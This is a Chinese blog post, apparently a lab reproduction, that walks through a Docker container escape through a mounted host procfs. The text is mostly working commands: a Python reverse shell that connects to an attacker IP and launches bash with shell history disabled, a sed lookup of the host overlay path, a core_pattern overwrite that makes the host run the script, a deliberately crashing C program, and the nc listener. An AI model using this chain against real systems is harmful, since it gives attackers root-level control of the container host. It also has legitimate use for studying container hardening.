Docker容器挂载 (伪文件系统)procfs 逃逸

前言

procfs是展示系统进程状态的虚拟文件系统,包含敏感信息。直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离。

利用文件/proc/sys/kernel/core_pattern它在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,将进程崩溃信息传递给这个文件中的程序或者脚本。

自Linux内核2.6.19版本起,/proc/sys/kernel/core_pattern配置迎来了新扩展。若此文件首字符为管道符’|’,紧随其后的内容即被识别为指向用户空间程序或脚本的指令,系统将在生成核心转储时自动调用执行这些外部程序或脚本。这一特性增强了核心转储处理的灵活性与定制化能力。

漏洞复现

1、漏洞环境搭建

创建一个容器并挂载 /proc 目录

docker run -it --rm -v /proc/:/host/ ubuntu

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs,如果返回 Procfs is not mounted. 则说明没有挂载。

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
image-20240705131621791
image-20240705131621791

漏洞利用

# 安装gcc c文件是执行不了的,需要安装gcc来执行c文件
apt update && apt install -y gcc
image-20240705131648885
image-20240705131648885

反弹shell脚本

cat > /tmp/.t.py <<EOF
#!/usr/bin/python
import  os
import pty
import socket
lhost = "反弹shell的攻击机ip"
lport = 8888
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE"'/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()
EOF

赋予执行权限

chmod 777 /tmp/.t.py

Linux核心转储程序通过宿主机文件系统执行,利用/etc/mtabupperdir定位容器挂载点。容器未提交的文件变动,在此宿主机路径上可见。

host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

写入反弹shell

echo -e "|$host_path/tmp/.t.py \rcore" > /host/sys/kernel/core_pattern
image-20240705131742594
image-20240705131742594

在攻击机上开启一个监听

nc -lvvp 8888
image-20240705130903563
image-20240705130903563

然后在容器里运行一个可以崩溃的程序

cat > /tmp/t.c <<EOF
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}
EOF
# 编译程序并执行
cd /tmp
gcc t.c -o t && ./t

如果出现了如下情况,攻击机也没有反应,那么多半是因为攻击机器没有放行8888端口

image-20240705131050975
image-20240705131050975

kali放行8888端口,使用iptables

iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

此时重新执行c文件

./t 
# 或者
gcc t.c -o t && ./t

攻击机器即可接收反弹的shell

image-20240705131315250
image-20240705131315250
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇